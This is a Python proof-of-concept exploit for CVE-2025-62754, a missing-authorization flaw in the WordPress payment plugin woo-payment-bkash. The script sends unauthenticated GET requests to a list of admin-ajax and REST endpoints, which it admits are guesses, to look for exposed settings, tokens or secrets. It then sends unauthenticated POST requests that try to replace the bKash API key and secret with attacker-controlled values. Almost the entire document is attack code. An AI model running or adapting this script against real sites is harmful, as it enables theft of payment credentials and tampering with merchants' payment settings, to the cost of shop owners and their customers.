# CVE-2025-62754 PoC - Missing Authorization in woo-payment-bkash
# This PoC demonstrates accessing admin functions without authentication
import requests
import json
TARGET_URL = "http://target-wordpress-site.com"
PLUGIN_PATH = "/wp-content/plugins/woo-payment-bkash/"
# Try to access admin AJAX endpoints without authentication
def test_unauthorized_access():
"""
Test various endpoints that should require authentication
"""
# Common bKash plugin AJAX actions that might be vulnerable
vulnerable_endpoints = [
f"{TARGET_URL}/wp-admin/admin-ajax.php?action=bkash_payment_settings",
f"{TARGET_URL}/wp-admin/admin-ajax.php?action=bkash_get_transactions",
f"{TARGET_URL}/wp-admin/admin-ajax.php?action=bkash_refund",
f"{TARGET_URL}/wp-json/woo-payment-bkash/v1/settings",
]
results = []
for endpoint in vulnerable_endpoints:
try:
# Send request without authentication cookies
response = requests.get(endpoint, timeout=10)
result = {
"endpoint": endpoint,
"status_code": response.status_code,
"response_length": len(response.text),
"vulnerable": False
}
# Check if response indicates successful unauthorized access
if response.status_code == 200 and len(response.text) > 0:
# Check for sensitive data exposure
if any(keyword in response.text.lower() for keyword in
['settings', 'config', 'api', 'token', 'secret', 'bkash']):
result["vulnerable"] = True
result["sensitive_data_found"] = True
results.append(result)
except requests.RequestException as e:
results.append({
"endpoint": endpoint,
"error": str(e)
})
return results
# Test POST requests for unauthorized actions
def test_unauthorized_post():
"""
Test POST requests that should require authentication
"""
post_endpoints = [
f"{TARGET_URL}/wp-admin/admin-ajax.php",
f"{TARGET_URL}/wp-json/woo-payment-bkash/v1/settings/update",
]
results = []
for endpoint in post_endpoints:
try:
# Craft POST request without authentication
payload = {
"action": "bkash_save_settings",
"bkash_api_key": "attacker_controlled_key",
"bkash_api_secret": "attacker_controlled_secret"
}
response = requests.post(endpoint, data=payload, timeout=10)
result = {
"endpoint": endpoint,
"status_code": response.status_code,
"response": response.text[:500],
"settings_modified": False
}
# Check if settings were modified
if response.status_code == 200:
if 'success' in response.text.lower() or 'updated' in response.text.lower():
result["settings_modified"] = True
results.append(result)
except requests.RequestException as e:
results.append({
"endpoint": endpoint,
"error": str(e)
})
return results
if __name__ == "__main__":
print("CVE-2025-62754 PoC - Testing Missing Authorization in woo-payment-bkash")
print("=" * 70)
print("\n[1] Testing GET endpoints for unauthorized access...")
get_results = test_unauthorized_access()
for result in get_results:
print(f"\nEndpoint: {result.get('endpoint')}")
print(f"Status: {result.get('status_code')}")
print(f"Vulnerable: {result.get('vulnerable', False)}")
print("\n[2] Testing POST endpoints for unauthorized modifications...")
post_results = test_unauthorized_post()
for result in post_results:
print(f"\nEndpoint: {result.get('endpoint')}")
print(f"Status: {result.get('status_code')}")
print(f"Settings Modified: {result.get('settings_modified', False)}")
print("\n" + "=" * 70)
print("PoC completed. Review results above.")